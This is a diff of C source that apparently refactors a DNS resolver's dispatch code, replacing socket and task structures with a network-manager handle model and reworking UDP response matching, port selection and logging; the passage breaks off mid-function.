-#define DNS_DISPATCH_SOCKSQUOTA 3072
-#endif /* ifndef DNS_DISPATCH_SOCKSQUOTA */
-
-struct dispsocket {
-	unsigned int magic;
-	isc_socket_t *socket;
-	dns_dispatch_t *disp;
-	isc_sockaddr_t host;
-	in_port_t localport; /* XXX: should be removed later */
-	dispportentry_t *portentry;
-	dns_dispentry_t *resp;
-	isc_task_t *task;
-	ISC_LINK(dispsocket_t) link;
-	unsigned int bucket;
-	ISC_LINK(dispsocket_t) blink;
-};
-
-/*%
- * A port table entry.  We remember every port we first open in a table with a
- * reference counter so that we can 'reuse' the same port (with different
- * destination addresses) using the SO_REUSEADDR socket option.
- */
-struct dispportentry {
-	in_port_t port;
-	isc_refcount_t refs;
-	ISC_LINK(struct dispportentry) link;
-};
-
-#ifndef DNS_DISPATCH_PORTTABLESIZE
-#define DNS_DISPATCH_PORTTABLESIZE 1024
-#endif /* ifndef DNS_DISPATCH_PORTTABLESIZE */
-
-#define INVALID_BUCKET (0xffffdead)
-
-/*%
- * Number of tasks for each dispatch that use separate sockets for different
- * transactions.  This must be a power of 2 as it will divide 32 bit numbers
- * to get an uniformly random tasks selection.  See get_dispsocket().
- */
-#define MAX_INTERNAL_TASKS 64
-
 struct dns_dispatch {
 	/* Unlocked. */
-	unsigned int magic;	/*%< magic */
+	unsigned int magic; /*%< magic */
+	uint32_t tid;
 	dns_dispatchmgr_t *mgr; /*%< dispatch manager */
-	int ntasks;
-	/*%
-	 * internal task buckets.  We use multiple tasks to distribute various
-	 * socket events well when using separate dispatch sockets.  We use the
-	 * 1st task (task[0]) for internal control events.
-	 */
-	isc_task_t *task[MAX_INTERNAL_TASKS];
-	isc_socket_t *socket;	  /*%< isc socket attached to */
-	isc_sockaddr_t local;	  /*%< local address */
-	in_port_t localport;	  /*%< local UDP port */
-	isc_sockaddr_t peer;	  /*%< peer address (TCP) */
-	isc_dscp_t dscp;	  /*%< "listen-on" DSCP value */
-	unsigned int maxrequests; /*%< max requests */
-	isc_event_t *ctlevent;
-
-	isc_mutex_t sepool_lock;
-	isc_mempool_t *sepool; /*%< pool for socket events */
+	isc_nmhandle_t *handle; /*%< netmgr handle for TCP connection */
+	isc_sockaddr_t local;	/*%< local address */
+	in_port_t localport;	/*%< local UDP port */
+	isc_sockaddr_t peer;	/*%< peer address (TCP) */
 
 	/*% Locked by mgr->lock. */
 	ISC_LINK(dns_dispatch_t) link;
 
 	/* Locked by "lock". */
 	isc_mutex_t lock; /*%< locks all below */
-	isc_sockettype_t socktype;
-	unsigned int attributes;
-	unsigned int refcount;		  /*%< number of users */
-	dns_dispatchevent_t *failsafe_ev; /*%< failsafe cancel event */
-	unsigned int shutting_down : 1, shutdown_out : 1, connected : 1,
-		tcpmsg_valid : 1, recv_pending : 1; /*%< is a
-						     * recv()
-						     * pending?
-						     * */
-	isc_result_t shutdown_why;
-	ISC_LIST(dispsocket_t) activesockets;
-	ISC_LIST(dispsocket_t) inactivesockets;
-	unsigned int nsockets;
-	unsigned int requests;	 /*%< how many requests we have */
-	unsigned int tcpbuffers; /*%< allocated buffers */
-	dns_tcpmsg_t tcpmsg;	 /*%< for tcp streams */
-	dns_qid_t *qid;
-	dispportlist_t *port_table; /*%< hold ports 'owned' by us */
-	isc_mempool_t *portpool;    /*%< port table entries  */
+	isc_socktype_t socktype;
+	dns_dispatchstate_t state;
+	isc_refcount_t references;
+
+	bool reading;
+
+	dns_displist_t pending;
+	dns_displist_t active;
+
+	unsigned int requests; /*%< how many requests we have */
+
+	unsigned int timedout;
 };
 
 #define QID_MAGIC    ISC_MAGIC('Q', 'i', 'd', ' ')
@@ -250,94 +153,117 @@ struct dns_dispatch {
 #define DNS_DISPATCHMGR_MAGIC ISC_MAGIC('D', 'M', 'g', 'r')
 #define VALID_DISPATCHMGR(e)  ISC_MAGIC_VALID((e), DNS_DISPATCHMGR_MAGIC)
 
-#define DNS_QID(disp)                                          \
-	((disp)->socktype == isc_sockettype_tcp) ? (disp)->qid \
-						 : (disp)->mgr->qid
-
 /*%
- * Locking a query port buffer is a bit tricky.  We access the buffer without
- * locking until qid is created.  Technically, there is a possibility of race
- * between the creation of qid and access to the port buffer; in practice,
- * however, this should be safe because qid isn't created until the first
- * dispatch is created and there should be no contending situation until then.
+ * Number of buckets in the QID hash table, and the value to
+ * increment the QID by when attempting to avoid collisions.
+ * The number of buckets should be prime, and the increment
+ * should be the next higher prime number.
  */
-#define PORTBUFLOCK(mgr)        \
-	if ((mgr)->qid != NULL) \
-	LOCK(&((mgr)->qid->lock))
-#define PORTBUFUNLOCK(mgr)      \
-	if ((mgr)->qid != NULL) \
-	UNLOCK((&(mgr)->qid->lock))
+#ifndef DNS_QID_BUCKETS
+#define DNS_QID_BUCKETS 16411
+#endif /* ifndef DNS_QID_BUCKETS */
+#ifndef DNS_QID_INCREMENT
+#define DNS_QID_INCREMENT 16433
+#endif /* ifndef DNS_QID_INCREMENT */
+
+#if DNS_DISPATCH_TRACE
+#define dns_dispentry_ref(ptr) \
+	dns_dispentry__ref(ptr, __func__, __FILE__, __LINE__)
+#define dns_dispentry_unref(ptr) \
+	dns_dispentry__unref(ptr, __func__, __FILE__, __LINE__)
+#define dns_dispentry_attach(ptr, ptrp) \
+	dns_dispentry__attach(ptr, ptrp, __func__, __FILE__, __LINE__)
+#define dns_dispentry_detach(ptrp) \
+	dns_dispentry__detach(ptrp, __func__, __FILE__, __LINE__)
+ISC_REFCOUNT_TRACE_DECL(dns_dispentry);
+#else
+ISC_REFCOUNT_DECL(dns_dispentry);
+#endif
 
 /*
  * Statics.
  */
+static void
+dispatchmgr_destroy(dns_dispatchmgr_t *mgr);
+
 static dns_dispentry_t *
 entry_search(dns_qid_t *, const isc_sockaddr_t *, dns_messageid_t, in_port_t,
 	     unsigned int);
-static bool
-destroy_disp_ok(dns_dispatch_t *);
-static void
-destroy_disp(isc_task_t *task, isc_event_t *event);
 static void
-destroy_dispsocket(dns_dispatch_t *, dispsocket_t **);
+udp_recv(isc_nmhandle_t *handle, isc_result_t eresult, isc_region_t *region,
+	 void *arg);
 static void
-deactivate_dispsocket(dns_dispatch_t *, dispsocket_t *);
-static void
-udp_exrecv(isc_task_t *, isc_event_t *);
+tcp_recv(isc_nmhandle_t *handle, isc_result_t eresult, isc_region_t *region,
+	 void *arg);
+static uint32_t
+dns_hash(dns_qid_t *, const isc_sockaddr_t *, dns_messageid_t, in_port_t);
 static void
-udp_shrecv(isc_task_t *, isc_event_t *);
+dispentry_cancel(dns_dispentry_t *resp, isc_result_t result);
+static isc_result_t
+dispatch_createudp(dns_dispatchmgr_t *mgr, const isc_sockaddr_t *localaddr,
+		   dns_dispatch_t **dispp);
 static void
-udp_recv(isc_event_t *, dns_dispatch_t *, dispsocket_t *);
+qid_allocate(dns_dispatchmgr_t *mgr, dns_qid_t **qidp);
 static void
-tcp_recv(isc_task_t *, isc_event_t *);
-static isc_result_t
-startrecv(dns_dispatch_t *, dispsocket_t *);
-static uint32_t
-dns_hash(dns_qid_t *, const isc_sockaddr_t *, dns_messageid_t, in_port_t);
+qid_destroy(isc_mem_t *mctx, dns_qid_t **qidp);
 static void
-free_buffer(dns_dispatch_t *disp, void *buf, unsigned int len);
-static void *
-allocate_udp_buffer(dns_dispatch_t *disp);
-static inline void
-free_devent(dns_dispatch_t *disp, dns_dispatchevent_t *ev);
-static inline dns_dispatchevent_t *
-allocate_devent(dns_dispatch_t *disp);
+udp_startrecv(isc_nmhandle_t *handle, dns_dispentry_t *resp);
 static void
-do_cancel(dns_dispatch_t *disp);
-static dns_dispentry_t *
-linear_first(dns_qid_t *disp);
-static dns_dispentry_t *
-linear_next(dns_qid_t *disp, dns_dispentry_t *resp);
+udp_dispatch_connect(dns_dispatch_t *disp, dns_dispentry_t *resp);
 static void
-dispatch_free(dns_dispatch_t **dispp);
-static isc_result_t
-get_udpsocket(dns_dispatchmgr_t *mgr, dns_dispatch_t *disp,
-	      isc_socketmgr_t *sockmgr, const isc_sockaddr_t *localaddr,
-	      isc_socket_t **sockp, isc_socket_t *dup_socket, bool duponly);
-static isc_result_t
-dispatch_createudp(dns_dispatchmgr_t *mgr, isc_socketmgr_t *sockmgr,
-		   isc_taskmgr_t *taskmgr, const isc_sockaddr_t *localaddr,
-		   unsigned int maxrequests, unsigned int attributes,
-		   dns_dispatch_t **dispp, isc_socket_t *dup_socket);
-static bool
-destroy_mgr_ok(dns_dispatchmgr_t *mgr);
+tcp_startrecv(dns_dispatch_t *disp, dns_dispentry_t *resp);
 static void
-destroy_mgr(dns_dispatchmgr_t **mgrp);
-static isc_result_t
-qid_allocate(dns_dispatchmgr_t *mgr, unsigned int buckets,
-	     unsigned int increment, dns_qid_t **qidp, bool needaddrtable);
+tcp_dispatch_getnext(dns_dispatch_t *disp, dns_dispentry_t *resp,
+		     int32_t timeout);
 static void
-qid_destroy(isc_mem_t *mctx, dns_qid_t **qidp);
-static isc_result_t
-open_socket(isc_socketmgr_t *mgr, const isc_sockaddr_t *local,
-	    unsigned int options, isc_socket_t **sockp,
-	    isc_socket_t *dup_socket, bool duponly);
-static bool
-portavailable(dns_dispatchmgr_t *mgr, isc_socket_t *sock,
-	      isc_sockaddr_t *sockaddrp);
+udp_dispatch_getnext(dns_dispentry_t *resp, int32_t timeout);
 
 #define LVL(x) ISC_LOG_DEBUG(x)
 
+static const char *
+socktype2str(dns_dispentry_t *resp) {
+	dns_transport_type_t transport_type = DNS_TRANSPORT_UDP;
+	dns_dispatch_t *disp = resp->disp;
+
+	if (disp->socktype == isc_socktype_tcp) {
+		if (resp->transport != NULL) {
+			transport_type =
+				dns_transport_get_type(resp->transport);
+		} else {
+			transport_type = DNS_TRANSPORT_TCP;
+		}
+	}
+
+	switch (transport_type) {
+	case DNS_TRANSPORT_UDP:
+		return ("UDP");
+	case DNS_TRANSPORT_TCP:
+		return ("TCP");
+	case DNS_TRANSPORT_TLS:
+		return ("TLS");
+	case DNS_TRANSPORT_HTTP:
+		return ("HTTP");
+	default:
+		return ("<unexpected>");
+	}
+}
+
+static const char *
+state2str(dns_dispatchstate_t state) {
+	switch (state) {
+	case DNS_DISPATCHSTATE_NONE:
+		return ("none");
+	case DNS_DISPATCHSTATE_CONNECTING:
+		return ("connecting");
+	case DNS_DISPATCHSTATE_CONNECTED:
+		return ("connected");
+	case DNS_DISPATCHSTATE_CANCELED:
+		return ("canceled");
+	default:
+		return ("<unexpected>");
+	}
+}
+
 static void
 mgr_log(dns_dispatchmgr_t *mgr, int level, const char *fmt, ...)
 	ISC_FORMAT_PRINTF(3, 4);
@@ -360,14 +286,14 @@ mgr_log(dns_dispatchmgr_t *mgr, int level, const char *fmt, ...) {
 		      msgbuf);
 }
 
-static inline void
+static void
 inc_stats(dns_dispatchmgr_t *mgr, isc_statscounter_t counter) {
 	if (mgr->stats != NULL) {
 		isc_stats_increment(mgr->stats, counter);
 	}
 }
 
-static inline void
+static void
 dec_stats(dns_dispatchmgr_t *mgr, isc_statscounter_t counter) {
 	if (mgr->stats != NULL) {
 		isc_stats_decrement(mgr->stats, counter);
@@ -382,13 +308,20 @@ static void
 dispatch_log(dns_dispatch_t *disp, int level, const char *fmt, ...) {
 	char msgbuf[2048];
 	va_list ap;
+	int r;
 
 	if (!isc_log_wouldlog(dns_lctx, level)) {
 		return;
 	}
 
 	va_start(ap, fmt);
-	vsnprintf(msgbuf, sizeof(msgbuf), fmt, ap);
+	r = vsnprintf(msgbuf, sizeof(msgbuf), fmt, ap);
+	if (r < 0) {
+		msgbuf[0] = '\0';
+	} else if ((unsigned int)r >= sizeof(msgbuf)) {
+		/* Truncated */
+		msgbuf[sizeof(msgbuf) - 1] = '\0';
+	}
 	va_end(ap);
 
 	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DISPATCH,
@@ -397,36 +330,31 @@ dispatch_log(dns_dispatch_t *disp, int level, const char *fmt, ...) {
 }
 
 static void
-request_log(dns_dispatch_t *disp, dns_dispentry_t *resp, int level,
-	    const char *fmt, ...) ISC_FORMAT_PRINTF(4, 5);
+dispentry_log(dns_dispentry_t *resp, int level, const char *fmt, ...)
+	ISC_FORMAT_PRINTF(3, 4);
 
 static void
-request_log(dns_dispatch_t *disp, dns_dispentry_t *resp, int level,
-	    const char *fmt, ...) {
+dispentry_log(dns_dispentry_t *resp, int level, const char *fmt, ...) {
 	char msgbuf[2048];
-	char peerbuf[256];
 	va_list ap;
+	int r;
 
 	if (!isc_log_wouldlog(dns_lctx, level)) {
 		return;
 	}
 
 	va_start(ap, fmt);
-	vsnprintf(msgbuf, sizeof(msgbuf), fmt, ap);
+	r = vsnprintf(msgbuf, sizeof(msgbuf), fmt, ap);
+	if (r < 0) {
+		msgbuf[0] = '\0';
+	} else if ((unsigned int)r >= sizeof(msgbuf)) {
+		/* Truncated */
+		msgbuf[sizeof(msgbuf) - 1] = '\0';
+	}
 	va_end(ap);
 
-	if (VALID_RESPONSE(resp)) {
-		isc_sockaddr_format(&resp->host, peerbuf, sizeof(peerbuf));
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DISPATCH,
-			      DNS_LOGMODULE_DISPATCH, level,
-			      "dispatch %p response %p %s: %s", disp, resp,
-			      peerbuf, msgbuf);
-	} else {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DISPATCH,
-			      DNS_LOGMODULE_DISPATCH, level,
-			      "dispatch %p req/resp %p: %s", disp, resp,
-			      msgbuf);
-	}
+	dispatch_log(resp->disp, level, "%s response %p: %s",
+		     socktype2str(resp), resp, msgbuf);
 }
 
 /*
@@ -446,746 +374,331 @@ dns_hash(dns_qid_t *qid, const isc_sockaddr_t *dest, dns_messageid_t id,
 	return (ret);
 }
 
-/*
- * Find the first entry in 'qid'.  Returns NULL if there are no entries.
+/*%
+ * Choose a random port number for a dispatch entry.
+ * The caller must hold the disp->lock
  */
-static dns_dispentry_t *
-linear_first(dns_qid_t *qid) {
-	dns_dispentry_t *ret;
-	unsigned int bucket;
-
-	bucket = 0;
+static isc_result_t
+setup_socket(dns_dispatch_t *disp, dns_dispentry_t *resp,
+	     const isc_sockaddr_t *dest, in_port_t *portp) {
+	dns_dispatchmgr_t *mgr = disp->mgr;
+	unsigned int nports;
+	in_port_t *ports = NULL;
+	in_port_t port = *portp;
 
-	while (bucket < qid->qid_nbuckets) {
-		ret = ISC_LIST_HEAD(qid->qid_table[bucket]);
-		if (ret != NULL) {
-			return (ret);
-		}
-		bucket++;
+	if (resp->retries++ > 5) {
+		return (ISC_R_FAILURE);
 	}
 
-	return (NULL);
-}
-
-/*
- * Find the next entry after 'resp' in 'qid'.  Return NULL if there are
- * no more entries.
- */
-static dns_dispentry_t *
-linear_next(dns_qid_t *qid, dns_dispentry_t *resp) {
-	dns_dispentry_t *ret;
-	unsigned int bucket;
-
-	ret = ISC_LIST_NEXT(resp, link);
-	if (ret != NULL) {
-		return (ret);
+	if (isc_sockaddr_pf(&disp->local) == AF_INET) {
+		nports = mgr->nv4ports;
+		ports = mgr->v4ports;
+	} else {
+		nports = mgr->nv6ports;
+		ports = mgr->v6ports;
+	}
+	if (nports == 0) {
+		return (ISC_R_ADDRNOTAVAIL);
 	}
 
-	bucket = resp->bucket;
-	bucket++;
-	while (bucket < qid->qid_nbuckets) {
-		ret = ISC_LIST_HEAD(qid->qid_table[bucket]);
-		if (ret != NULL) {
-			return (ret);
-		}
-		bucket++;
+	resp->local = disp->local;
+	resp->peer = *dest;
+
+	if (port == 0) {
+		port = ports[isc_random_uniform(nports)];
+		isc_sockaddr_setport(&resp->local, port);
+		*portp = port;
 	}
+	resp->port = port;
 
-	return (NULL);
+	return (ISC_R_SUCCESS);
 }
 
 /*
- * The dispatch must be locked.
+ * Find an entry for query ID 'id', socket address 'dest', and port number
+ * 'port'.
+ * Return NULL if no such entry exists.
  */
-static bool
-destroy_disp_ok(dns_dispatch_t *disp) {
-	if (disp->refcount != 0) {
-		return (false);
-	}
+static dns_dispentry_t *
+entry_search(dns_qid_t *qid, const isc_sockaddr_t *dest, dns_messageid_t id,
+	     in_port_t port, unsigned int bucket) {
+	dns_dispentry_t *res = NULL;
 
-	if (disp->recv_pending != 0) {
-		return (false);
-	}
+	REQUIRE(VALID_QID(qid));
+	REQUIRE(bucket < qid->qid_nbuckets);
 
-	if (!ISC_LIST_EMPTY(disp->activesockets)) {
-		return (false);
-	}
+	res = ISC_LIST_HEAD(qid->qid_table[bucket]);
 
-	if (disp->shutting_down == 0) {
-		return (false);
+	while (res != NULL) {
+		if (res->id == id && isc_sockaddr_equal(dest, &res->peer) &&
+		    res->port == port)
+		{
+			return (res);
+		}
+		res = ISC_LIST_NEXT(res, link);
 	}
 
-	return (true);
+	return (NULL);
 }
 
-/*
- * Called when refcount reaches 0 (and safe to destroy).
- *
- * The dispatcher must be locked.
- * The manager must not be locked.
- */
 static void
-destroy_disp(isc_task_t *task, isc_event_t *event) {
-	dns_dispatch_t *disp;
-	dns_dispatchmgr_t *mgr;
-	bool killmgr;
-	dispsocket_t *dispsocket;
-	int i;
+dispentry_destroy(dns_dispentry_t *resp) {
+	dns_dispatch_t *disp = resp->disp;
 
-	INSIST(event->ev_type == DNS_EVENT_DISPATCHCONTROL);
+	/*
+	 * We need to call this from here in case there's an external event that
+	 * shuts down our dispatch (like ISC_R_SHUTTINGDOWN).
+	 */
+	dispentry_cancel(resp, ISC_R_CANCELED);
 
-	UNUSED(task);
+	LOCK(&disp->lock);
+	INSIST(disp->requests > 0);
+	disp->requests--;
+	UNLOCK(&disp->lock);
 
-	disp = event->ev_arg;
-	mgr = disp->mgr;
+	isc_refcount_destroy(&resp->references);
 
-	LOCK(&mgr->lock);
-	ISC_LIST_UNLINK(mgr->list, disp, link);
+	resp->magic = 0;
 
-	dispatch_log(disp, LVL(90),
-		     "shutting down; detaching from sock %p, task %p",
-		     disp->socket, disp->task[0]); /* XXXX */
+	INSIST(!ISC_LINK_LINKED(resp, link));
+	INSIST(!ISC_LINK_LINKED(resp, plink));
+	INSIST(!ISC_LINK_LINKED(resp, alink));
+	INSIST(!ISC_LINK_LINKED(resp, rlink));
 
-	if (disp->sepool != NULL) {
-		isc_mempool_destroy(&disp->sepool);
-		isc_mutex_destroy(&disp->sepool_lock);
-	}
+	dispentry_log(resp, LVL(90), "destroying");
 
-	if (disp->socket != NULL) {
-		isc_socket_detach(&disp->socket);
-	}
-	while ((dispsocket = ISC_LIST_HEAD(disp->inactivesockets)) != NULL) {
-		ISC_LIST_UNLINK(disp->inactivesockets, dispsocket, link);
-		destroy_dispsocket(disp, &dispsocket);
+	if (resp->handle != NULL) {
+		dispentry_log(resp, LVL(90), "detaching handle %p from %p",
+			      resp->handle, &resp->handle);
+		isc_nmhandle_detach(&resp->handle);
 	}
-	for (i = 0; i < disp->ntasks; i++) {
-		isc_task_detach(&disp->task[i]);
-	}
-	isc_event_free(&event);
-
-	dispatch_free(&disp);
 
-	killmgr = destroy_mgr_ok(mgr);
-	UNLOCK(&mgr->lock);
-	if (killmgr) {
-		destroy_mgr(&mgr);
+	if (resp->tlsctx_cache != NULL) {
+		isc_tlsctx_cache_detach(&resp->tlsctx_cache);
 	}
-}
-
-/*%
- * Manipulate port table per dispatch: find an entry for a given port number,
- * create a new entry, and decrement a given entry with possible clean-up.
- */
-static dispportentry_t *
-port_search(dns_dispatch_t *disp, in_port_t port) {
-	dispportentry_t *portentry;
-
-	REQUIRE(disp->port_table != NULL);
 
-	portentry = ISC_LIST_HEAD(
-		disp->port_table[port % DNS_DISPATCH_PORTTABLESIZE]);
-	while (portentry != NULL) {
-		if (portentry->port == port) {
-			return (portentry);
-		}
-		portentry = ISC_LIST_NEXT(portentry, link);
+	if (resp->transport != NULL) {
+		dns_transport_detach(&resp->transport);
 	}
 
-	return (NULL);
-}
+	isc_mem_put(disp->mgr->mctx, resp, sizeof(*resp));
 
-static dispportentry_t *
-new_portentry(dns_dispatch_t *disp, in_port_t port) {
-	dispportentry_t *portentry;
-	dns_qid_t *qid;
+	dns_dispatch_detach(&disp); /* DISPATCH001 */
+}
 
-	REQUIRE(disp->port_table != NULL);
+#if DNS_DISPATCH_TRACE
+ISC_REFCOUNT_TRACE_IMPL(dns_dispentry, dispentry_destroy);
+#else
+ISC_REFCOUNT_IMPL(dns_dispentry, dispentry_destroy);
+#endif
 
-	portentry = isc_mempool_get(disp->portpool);
-	if (portentry == NULL) {
-		return (portentry);
+/*
+ * How long in milliseconds has it been since this dispentry
+ * started reading?
+ */
+static unsigned int
+dispentry_runtime(dns_dispentry_t *resp, const isc_time_t *now) {
+	if (isc_time_isepoch(&resp->start)) {
+		return (0);
 	}
 
-	portentry->port = port;
-	isc_refcount_init(&portentry->refs, 1);
-	ISC_LINK_INIT(portentry, link);
-	qid = DNS_QID(disp);
-	LOCK(&qid->lock);
-	ISC_LIST_APPEND(disp->port_table[port % DNS_DISPATCH_PORTTABLESIZE],
-			portentry, link);
-	UNLOCK(&qid->lock);
-
-	return (portentry);
+	return (isc_time_microdiff(now, &resp->start) / 1000);
 }
 
-/*%
- * The caller must hold the qid->lock.
+/*
+ * General flow:
+ *
+ * If I/O result == CANCELED or error, free the buffer.
+ *
+ * If query, free the buffer, restart.
+ *
+ * If response:
+ *	Allocate event, fill in details.
+ *		If cannot allocate, free buffer, restart.
+ *	find target.  If not found, free buffer, restart.
+ *	if event queue is not empty, queue.  else, send.
+ *	restart.
  */
 static void
-deref_portentry(dns_dispatch_t *disp, dispportentry_t **portentryp) {
-	dispportentry_t *portentry = *portentryp;
-	*portentryp = NULL;
+udp_recv(isc_nmhandle_t *handle, isc_result_t eresult, isc_region_t *region,
+	 void *arg) {
+	dns_dispentry_t *resp = (dns_dispentry_t *)arg;
+	dns_dispatch_t *disp = NULL;
+	dns_messageid_t id;
+	isc_result_t dres;
+	isc_buffer_t source;
+	unsigned int flags;
+	isc_sockaddr_t peer;
+	isc_netaddr_t netaddr;
+	int match, timeout = 0;
+	bool respond = true;
+	isc_time_t now;
+
+	REQUIRE(VALID_RESPONSE(resp));
+	REQUIRE(VALID_DISPATCH(resp->disp));
+
+	disp = resp->disp;
 
-	REQUIRE(disp->port_table != NULL);
-	REQUIRE(portentry != NULL);
+	LOCK(&disp->lock);
+	INSIST(resp->reading);
+	resp->reading = false;
 
-	if (isc_refcount_decrement(&portentry->refs) == 1) {
-		ISC_LIST_UNLINK(disp->port_table[portentry->port %
-						 DNS_DISPATCH_PORTTABLESIZE],
-				portentry, link);
-		isc_mempool_put(disp->portpool, portentry);
+	if (resp->state == DNS_DISPATCHSTATE_CANCELED) {
+		/*
+		 * Nobody is interested in the callback if the response
+		 * has been canceled already.  Detach from the response
+		 * and the handle.
+		 */
+		respond = false;
+		eresult = ISC_R_CANCELED;
 	}
-}
 
-/*%
- * Find a dispsocket for socket address 'dest', and port number 'port'.
- * Return NULL if no such entry exists.  Requires qid->lock to be held.
- */
-static dispsocket_t *
-socket_search(dns_qid_t *qid, const isc_sockaddr_t *dest, in_port_t port,
-	      unsigned int bucket) {
-	dispsocket_t *dispsock;
+	dispentry_log(resp, LVL(90), "read callback:%s, requests %d",
+		      isc_result_totext(eresult), disp->requests);
 
-	REQUIRE(VALID_QID(qid));
-	REQUIRE(bucket < qid->qid_nbuckets);
+	if (eresult != ISC_R_SUCCESS) {
+		/*
+		 * This is most likely a network error on a connected
+		 * socket, a timeout, or the query has been canceled.
+		 * It makes no sense to check the address or parse the
+		 * packet, but we can return the error to the caller.
+		 */
+		goto done;
+	}
 
-	dispsock = ISC_LIST_HEAD(qid->sock_table[bucket]);
+	peer = isc_nmhandle_peeraddr(handle);
+	isc_netaddr_fromsockaddr(&netaddr, &peer);
 
-	while (dispsock != NULL) {
-		if (dispsock->portentry != NULL &&
-		    dispsock->portentry->port == port &&
-		    isc_sockaddr_equal(dest, &dispsock->host))
-		{
-			return (dispsock);
+	/*
+	 * If this is from a blackholed address, drop it.
+	 */
+	if (disp->mgr->blackhole != NULL &&
+	    dns_acl_match(&netaddr, NULL, disp->mgr->blackhole, NULL, &match,
+			  NULL) == ISC_R_SUCCESS &&
+	    match > 0)
+	{
+		if (isc_log_wouldlog(dns_lctx, LVL(10))) {
+			char netaddrstr[ISC_NETADDR_FORMATSIZE];
+			isc_netaddr_format(&netaddr, netaddrstr,
+					   sizeof(netaddrstr));
+			dispentry_log(resp, LVL(10),
+				      "blackholed packet from %s", netaddrstr);
 		}
-		dispsock = ISC_LIST_NEXT(dispsock, blink);
+		goto next;
 	}
 
-	return (NULL);
-}
+	/*
+	 * Peek into the buffer to see what we can see.
+	 */
+	id = resp->id;
+	isc_buffer_init(&source, region->base, region->length);
+	isc_buffer_add(&source, region->length);
+	dres = dns_message_peekheader(&source, &id, &flags);
+	if (dres != ISC_R_SUCCESS) {
+		char netaddrstr[ISC_NETADDR_FORMATSIZE];
+		isc_netaddr_format(&netaddr, netaddrstr, sizeof(netaddrstr));
+		dispentry_log(resp, LVL(10), "got garbage packet from %s",
+			      netaddrstr);
+		goto next;
+	}
 
-/*%
- * Make a new socket for a single dispatch with a random port number.
- * The caller must hold the disp->lock
- */
-static isc_result_t
-get_dispsocket(dns_dispatch_t *disp, const isc_sockaddr_t *dest,
-	       isc_socketmgr_t *sockmgr, dispsocket_t **dispsockp,
-	       in_port_t *portp) {
-	int i;
-	dns_dispatchmgr_t *mgr = disp->mgr;
-	isc_socket_t *sock = NULL;
-	isc_result_t result = ISC_R_FAILURE;
-	in_port_t port;
-	isc_sockaddr_t localaddr;
-	unsigned int bucket = 0;
-	dispsocket_t *dispsock;
-	unsigned int nports;
-	in_port_t *ports;
-	isc_socket_options_t bindoptions;
-	dispportentry_t *portentry = NULL;
-	dns_qid_t *qid;
+	dispentry_log(resp, LVL(92),
+		      "got valid DNS message header, /QR %c, id %u",
+		      (((flags & DNS_MESSAGEFLAG_QR) != 0) ? '1' : '0'), id);
 
-	if (isc_sockaddr_pf(&disp->local) == AF_INET) {
-		nports = disp->mgr->nv4ports;
-		ports = disp->mgr->v4ports;
-	} else {
-		nports = disp->mgr->nv6ports;
-		ports = disp->mgr->v6ports;
+	/*
+	 * Look at the message flags.  If it's a query, ignore it.
+	 */
+	if ((flags & DNS_MESSAGEFLAG_QR) == 0) {
+		goto next;
 	}
-	if (nports == 0) {
-		return (ISC_R_ADDRNOTAVAIL);
+
+	/*
+	 * The QID and the address must match the expected ones.
+	 */
+	if (resp->id != id || !isc_sockaddr_equal(&peer, &resp->peer)) {
+		dispentry_log(resp, LVL(90), "response doesn't match");
+		inc_stats(disp->mgr, dns_resstatscounter_mismatch);
+		goto next;
 	}
 
-	dispsock = ISC_LIST_HEAD(disp->inactivesockets);
-	if (dispsock != NULL) {
-		ISC_LIST_UNLINK(disp->inactivesockets, dispsock, link);
-		sock = dispsock->socket;
-		dispsock->socket = NULL;
-	} else {
-		dispsock = isc_mempool_get(mgr->spool);
-		if (dispsock == NULL) {
-			return (ISC_R_NOMEMORY);
-		}
+	/*
+	 * We have the right resp, so call the caller back.
+	 */
+	goto done;
 
-		disp->nsockets++;
-		dispsock->socket = NULL;
-		dispsock->disp = disp;
-		dispsock->resp = NULL;
-		dispsock->portentry = NULL;
-		dispsock->task = NULL;
-		isc_task_attach(disp->task[isc_random_uniform(disp->ntasks)],
-				&dispsock->task);
-		ISC_LINK_INIT(dispsock, link);
-		ISC_LINK_INIT(dispsock, blink);
-		dispsock->magic = DISPSOCK_MAGIC;
+next:
+	/*
+	 * This is the wrong response.  Check whether there is still enough
+	 * time to wait for the correct one to arrive before the timeout fires.
+	 */
+	now = isc_loop_now(resp->loop);
+	timeout = resp->timeout - dispentry_runtime(resp, &now);
+	if (timeout <= 0) {
+		/*
+		 * The time window for receiving the correct response is
+		 * already closed, libuv has just not processed the socket
+		 * timer yet.  Invoke the read callback, indicating a timeout.
+		 */
+		eresult = ISC_R_TIMEDOUT;
+		goto done;
 	}
 
 	/*
-	 * Pick up a random UDP port and open a new socket with it.  Avoid
-	 * choosing ports that share the same destination because it will be
-	 * very likely to fail in bind(2) or connect(2).
+	 * Do not invoke the read callback just yet and instead wait for the
+	 * proper response to arrive until the original timeout fires.
 	 */
-	localaddr = disp->local;
-	qid = DNS_QID(disp);
+	respond = false;
+	udp_dispatch_getnext(resp, timeout);
 
-	for (i = 0; i < 64; i++) {
-		port = ports[isc_random_uniform(nports)];
-		isc_sockaddr_setport(&localaddr, port);
+done:
+	UNLOCK(&disp->lock);
 
-		LOCK(&qid->lock);
-		bucket = dns_hash(qid, dest, 0, port);
-		if (socket_search(qid, dest, port, bucket) != NULL) {
-			UNLOCK(&qid->lock);
-			continue;
-		}
-		UNLOCK(&qid->lock);
-		bindoptions = 0;
-		portentry = port_search(disp, port);
+	if (respond) {
+		dispentry_log(resp, LVL(90), "UDP read callback on %p: %s",
+			      handle, isc_result_totext(eresult));
+		resp->response(eresult, region, resp->arg);
+	}
 
-		if (portentry != NULL) {
-			bindoptions |= ISC_SOCKET_REUSEADDRESS;
-		}
-		result = open_socket(sockmgr, &localaddr, bindoptions, &sock,
-				     NULL, false);
-		if (result == ISC_R_SUCCESS) {
-			if (portentry == NULL) {
-				portentry = new_portentry(disp, port);
-				if (portentry == NULL) {
-					result = ISC_R_NOMEMORY;
-					break;
-				}
-			} else {
-				isc_refcount_increment(&portentry->refs);
-			}
-			break;
-		} else if (result == ISC_R_NOPERM) {
-			char buf[ISC_SOCKADDR_FORMATSIZE];
-			isc_sockaddr_format(&localaddr, buf, sizeof(buf));
-			dispatch_log(disp, ISC_LOG_WARNING,
-				     "open_socket(%s) -> %s: continuing", buf,
-				     isc_result_totext(result));
-		} else if (result != ISC_R_ADDRINUSE) {
-			break;
-		}
-	}
-
-	if (result == ISC_R_SUCCESS) {
-		dispsock->socket = sock;
